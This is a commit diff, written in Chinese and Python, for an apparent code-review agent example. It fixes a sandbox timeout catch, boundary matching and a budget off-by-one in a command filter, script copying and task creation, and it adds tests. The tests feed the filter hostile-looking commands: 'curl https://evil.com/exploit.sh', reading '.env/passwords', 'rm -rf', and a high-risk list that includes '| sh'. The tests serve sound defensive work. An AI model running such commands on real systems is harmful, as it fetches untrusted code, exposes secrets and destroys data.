fix(cr-agent): Critical2 cube超时异常+filter off-by-one/子串+脚本落盘+存储断链 (trpc-group#200 review)

- Critical 2: 修复 Cube 沙箱超时异常捕获，优先捕获 subprocess.TimeoutExpired
- 隐患1: 修复 Filter 预算 off-by-one，call_index >= max_sandbox_runs 时 deny
- 隐患2: 修复 Filter 子串误匹配，路径使用边界匹配避免 .environment 命中 .env
- 隐患3: 修复沙箱脚本未落盘，pipeline 在执行前把脚本复制到 workspace
- 隐患4: 修复存储 save 与 start_task 断链，pipeline 在开始时调用 start_task
- 补充严格测试：Cube 超时断言 status==timeout、Filter off-by-one 和边界匹配测试

Author: wzxsdf

examples/skills_code_review_agent/agent/pipeline.py

@@ -16,6 +16,8 @@
 8. ReviewStore().save(report)（落库，内含脱敏）
 9. report.write_reports(report, "outputs/")
 """
+import os
+import shutil
 import time
 import uuid
 
@@ -34,6 +36,9 @@
 # 沙箱脚本约定名（Task 13 会创建真实脚本文件）
 SKILL_SCRIPTS = ["static_review", "diff_summary"]
 
+# 沙箱脚本源目录（skills/code-review/scripts/）
+SCRIPTS_SRC_DIR = os.path.join(os.path.dirname(__file__), "..", "skills", "code-review", "scripts")
+
 
 def _conclusion(findings, warnings, needs_review, decisions, sandbox_runs) -> str:
     """派生 conclusion：根据 findings/warnings/decisions/sandbox_runs 决定最终结论
@@ -96,6 +101,16 @@ def run_review(diff_text: str,
     """
     t0 = time.time()
 
+    # 0. 修复隐患4: 先 start_task 创建 task_id（确保 save 时 review_tasks 记录存在）
+    try:
+        store = ReviewStore()
+        scope = f"diff-{len(diff_text)}chars" if diff_text else "empty"
+        task_id = store.start_task(repo=repo, scope=scope)
+    except Exception as e:
+        # start_task 失败时使用生成的 UUID（降级处理）
+        print(f"[Pipeline] start_task 失败: {str(e)}")
+        task_id = str(uuid.uuid4())
+
     # 1. 解析 diff
     files = parse_diff(diff_text)
 
@@ -140,7 +155,33 @@ def run_review(diff_text: str,
                 # 执行脚本（使用临时工作目录）
                 import tempfile
                 with tempfile.TemporaryDirectory() as ws:
-                    run = runtime.run(script=f"{script}.py", workspace=ws, inputs={"diff_text": diff_text})
+                    # 修复隐患3: 把脚本文件写入 workspace（真沙箱需要脚本存在）
+                    script_src = os.path.join(SCRIPTS_SRC_DIR, f"{script}.py")
+                    script_dst = os.path.join(ws, f"{script}.py")
+                    if os.path.exists(script_src):
+                        shutil.copy(script_src, script_dst)
+                    else:
+                        # 脚本不存在时记录失败但不中断（防御性编程）
+                        from agent.models import SandboxRun
+                        failed_run = SandboxRun(
+                            runtime=sandbox,
+                            script=script,
+                            status="failed",
+                            exit_code=1,
+                            stdout_redacted="",
+                            stderr_redacted=f"脚本不存在: {script_src}",
+                            truncated=False,
+                            error_type="FileNotFoundError",
+                            duration_ms=0
+                        )
+                        runs.append(failed_run)
+                        continue
+
+                    run = runtime.run(
+                        script=f"{script}.py",
+                        workspace=ws,
+                        inputs={"diff_text": diff_text}
+                    )
                     runs.append(run)
             except Exception as e:
                 # 沙箱执行失败，记录失败但不中断
@@ -162,17 +203,16 @@ def run_review(diff_text: str,
     # 合并所有 findings 用于监控
     all_findings = list(findings) + list(warnings) + list(needs_review)
 
-    monitoring = build_monitoring(total_duration_ms=int((time.time() - t0) * 1000),
-                                  sandbox_duration_ms=t_sandbox,
-                                  tool_call_count=len(runs),
-                                  blocked_count=sum(1 for d in decisions if d.decision != "allow"),
-                                  findings=all_findings,
-                                  exceptions=[])
-
-    # 7. 生成 task_id
-    task_id = str(uuid.uuid4())
+    monitoring = build_monitoring(
+        total_duration_ms=int((time.time() - t0) * 1000),
+        sandbox_duration_ms=t_sandbox,
+        tool_call_count=len(runs),
+        blocked_count=sum(1 for d in decisions if d.decision != "allow"),
+        findings=all_findings,
+        exceptions=[]
+    )
 
-    # 8. 派生 conclusion
+    # 7. 派生 conclusion（使用已生成的 task_id）
     conclusion = _conclusion(findings, warnings, needs_review, decisions, runs)
 
     # 9. 构造 ReviewReport
@@ -188,15 +228,14 @@ def run_review(diff_text: str,
                           repository=repo,
                           input_summary=_summary(diff_text))
 
-    # 10. 落库（内含脱敏）
+    # 9. 落库（内含脱敏，使用已存在的 task_id）
     try:
-        store = ReviewStore()
         store.save(report)
     except Exception as e:
         # 落库失败不应中断报告生成
         print(f"[Pipeline] 落库失败: {str(e)}")
 
-    # 11. 写报告文件
+    # 10. 写报告文件
     try:
         write_reports(report, "outputs/")
     except Exception as e:

examples/skills_code_review_agent/filters/policy.py

@@ -52,20 +52,48 @@ def evaluate(self, command: str, ctx: dict) -> FilterDecision:
             FilterDecision: 过滤决策结果
         """
         # 1. 禁止路径检查（最高优先级，防止敏感文件泄露）
+        # 使用边界匹配避免误匹配（如 .environment 不应命中 .env）
+        # 边界包括：路径分隔符、引号、空格、字符串起止
         for fp in self.p["forbidden_paths"]:
-            if fp in command:
+            # 构造边界匹配正则：路径片段前后必须有边界
+            # 边界字符集：路径分隔符(/、\)、引号(" ' `)、空格、字符串起止(^ $)
+            escaped_fp = re.escape(fp)
+            pattern = rf'(^|[/\s"\']){escaped_fp}($|[/\s"\'])'
+            if re.search(pattern, command):
                 return FilterDecision(stage="pre_sandbox",
                                       decision="deny",
                                       reason=f"禁止路径 {fp}",
                                       command_redacted=command[:80])
 
         # 2. 高危命令检查（需要人工审查）
+        # 对完整命令词使用边界匹配，对 shell 操作符保留子串匹配
+        # shell 操作符：单字符或双字符操作符
+        shell_operators = {";", "&&", "|", "||"}
         for hc in self.p["high_risk_commands"]:
-            if hc in command:
-                return FilterDecision(stage="pre_sandbox",
-                                      decision="needs_human_review",
-                                      reason=f"高危命令 {hc}",
-                                      command_redacted=command[:80])
+            # shell 操作符保留子串匹配（| sh 中的 | 是管道，; 是命令分隔符）
+            if hc in shell_operators:
+                if hc in command:
+                    return FilterDecision(stage="pre_sandbox",
+                                          decision="needs_human_review",
+                                          reason=f"高危操作符 {hc}",
+                                          command_redacted=command[:80])
+            elif hc == "| sh":
+                # 特殊处理 | sh 组合
+                if "| sh" in command or "|sh" in command:
+                    return FilterDecision(stage="pre_sandbox",
+                                          decision="needs_human_review",
+                                          reason=f"高危命令 {hc}",
+                                          command_redacted=command[:80])
+            else:
+                # 完整命令词使用边界匹配（避免 rm -rf 误匹配 rm -rf-safe）
+                # 边界：空格、管道、分号、字符串起止
+                escaped_hc = re.escape(hc)
+                pattern = rf'(^|[\s|;]){escaped_hc}($|[\s|;])'
+                if re.search(pattern, command):
+                    return FilterDecision(stage="pre_sandbox",
+                                          decision="needs_human_review",
+                                          reason=f"高危命令 {hc}",
+                                          command_redacted=command[:80])
 
         # 3. 网络域名白名单检查
         for m in re.findall(r"https?://([^/\s]+)", command):
@@ -75,9 +103,14 @@ def evaluate(self, command: str, ctx: dict) -> FilterDecision:
                                       reason=f"非白名单网络 {m}",
                                       command_redacted=command[:80])
 
-        # 4. 沙箱调用预算检查
-        if ctx.get("call_index", 0) > self.p["max_sandbox_runs"]:
-            return FilterDecision(stage="pre_sandbox", decision="deny", reason="超预算沙箱调用", command_redacted=command[:80])
+        # 4. 沙箱调用预算检查（>= 确保 call_index 达到 max_sandbox_runs 时即 deny）
+        if ctx.get("call_index", 0) >= self.p["max_sandbox_runs"]:
+            return FilterDecision(
+                stage="pre_sandbox",
+                decision="deny",
+                reason="超预算沙箱调用",
+                command_redacted=command[:80]
+            )
 
         # 5. 默认允许
         return FilterDecision(stage="pre_sandbox", decision="allow", reason="", command_redacted="")

examples/skills_code_review_agent/sandbox/cube.py

@@ -105,8 +105,23 @@ def run(
                 duration_ms=duration_ms,
             )
 
+        except subprocess.TimeoutExpired as e:
+            # subprocess.TimeoutExpired 优先捕获（subprocess.run 超时抛此异常）
+            duration_ms = int((time.time() - start_time) * 1000)
+
+            return SandboxRun(
+                runtime="cube",
+                script=script,
+                status="timeout",
+                exit_code=124,
+                stdout_redacted="",
+                stderr_redacted=f"远端沙箱执行超时: {str(e)}",
+                truncated=False,
+                error_type="TimeoutError",
+                duration_ms=duration_ms,
+            )
         except TimeoutError as e:
-            # 超时处理
+            # 内置 TimeoutError 兼容捕获（防御性编程）
             duration_ms = int((time.time() - start_time) * 1000)
 
             return SandboxRun(

examples/skills_code_review_agent/tests/test_filter.py

@@ -100,7 +100,9 @@ def test_network_whitelist_deny(self):
         policy = CommandPolicy(policy_data)
 
         # 测试非白名单网络域名
-        decision = policy.evaluate("curl https://evil.com/exploit.sh", {"call_index": 0})
+        decision = policy.evaluate(
+            "curl https://evil.com/exploit.sh", {"call_index": 0}
+        )
         assert decision.decision == "deny"
         assert "非白名单网络" in decision.reason
         assert "evil.com" in decision.reason
@@ -120,11 +122,18 @@ def test_budget_exceeded_deny(self):
         }
         policy = CommandPolicy(policy_data)
 
-        # 测试超预算
-        decision = policy.evaluate("python test.py", {"call_index": 13})
-        assert decision.decision == "deny"
+        # 测试超预算（修复隐患1前：call_index=13 才 deny）
+        # 修复后：call_index=12 即 deny（>= 而非 >）
+        decision = policy.evaluate("python test.py", {"call_index": 12})
+        msg = f"call_index=12 (max_sandbox_runs) 应该 deny，实际 {decision.decision}"
+        assert decision.decision == "deny", msg
         assert "超预算" in decision.reason
 
+        # call_index=11 应该 still allow
+        decision = policy.evaluate("python test.py", {"call_index": 11})
+        msg = f"call_index=11 (< max_sandbox_runs) 应该 allow，实际 {decision.decision}"
+        assert decision.decision == "allow", msg
+
     def test_allow_command(self):
         """测试允许的命令返回 allow"""
         from filters.policy import CommandPolicy
@@ -170,6 +179,66 @@ def test_evaluation_order(self):
         assert decision2.decision == "needs_human_review"
         assert "高危命令" in decision2.reason
 
+    def test_forbidden_path_no_false_match(self):
+        """测试禁止路径精确匹配，.environment 不应命中 .env（修复隐患2）"""
+        from filters.policy import CommandPolicy
+
+        policy_data = {
+            "forbidden_paths": [".env"],
+            "high_risk_commands": [],
+            "network_whitelist": [],
+            "allowed_executables": ["python"],
+            "max_timeout_sec": 120,
+            "max_output_bytes": 1048576,
+            "max_sandbox_runs": 12
+        }
+        policy = CommandPolicy(policy_data)
+
+        # .environment 不应该命中 .env（修复隐患2前：会误匹配）
+        decision = policy.evaluate("cat .environment/config", {"call_index": 0})
+        msg = f".environment 不应命中 .env，实际 {decision.decision}"
+        assert decision.decision == "allow", msg
+
+        # .env 应该正确命中
+        decision = policy.evaluate("cat .env/passwords", {"call_index": 0})
+        msg = f".env 应该命中，实际 {decision.decision}"
+        assert decision.decision == "deny", msg
+
+    def test_high_risk_command_boundary_match(self):
+        """测试高危命令边界匹配，rm -rf-safe 不应命中 rm -rf（修复隐患2）"""
+        from filters.policy import CommandPolicy
+
+        policy_data = {
+            "forbidden_paths": [],
+            "high_risk_commands": ["rm -rf", "curl", ";", "&&"],
+            "network_whitelist": [],
+            "allowed_executables": ["python"],
+            "max_timeout_sec": 120,
+            "max_output_bytes": 1048576,
+            "max_sandbox_runs": 12
+        }
+        policy = CommandPolicy(policy_data)
+
+        # rm -rf-safe 不应该命中 rm -rf（边界匹配）
+        decision = policy.evaluate("rm -rf-safe /tmp", {"call_index": 0})
+        msg = f"rm -rf-safe 不应命中 rm -rf，实际 {decision.decision}"
+        assert decision.decision == "allow", msg
+
+        # rm -rf 应该正确命中
+        decision = policy.evaluate("rm -rf /tmp", {"call_index": 0})
+        msg = f"rm -rf 应该命中，实际 {decision.decision}"
+        assert decision.decision == "needs_human_review", msg
+
+        # shell 操作符 ; 应该仍然触发（保留子串匹配）
+        decision = policy.evaluate("echo hello; echo world", {"call_index": 0})
+        msg = f"; 操作符应该触发，实际 {decision.decision}"
+        assert decision.decision == "needs_human_review", msg
+
+        # shell 操作符 && 应该触发
+        decision = policy.evaluate("cd /tmp && ls", {"call_index": 0})
+        msg = f"&& 操作符应该触发，实际 {decision.decision}"
+        assert decision.decision == "needs_human_review", msg
+
 
 class TestCrGovernanceFilter:
     """测试 CrGovernanceFilter BaseFilter 实现"""

examples/skills_code_review_agent/tests/test_sandbox.py

@@ -327,8 +327,11 @@ def test_cube_timeout_with_mock(self):
                 )
 
                 assert result.runtime == "cube"
-                # 超时会被捕获
-                assert result is not None
+                # 修复 Critical 2 测试: 严格断言超时返回 status="timeout"（非 failed）
+                msg = f"Expected timeout, got {result.status}"
+                assert result.status == "timeout", msg
+                assert result.exit_code == 124
+                assert result.error_type == "TimeoutError"
         finally:
             # 恢复原始模块状态
             if original_import: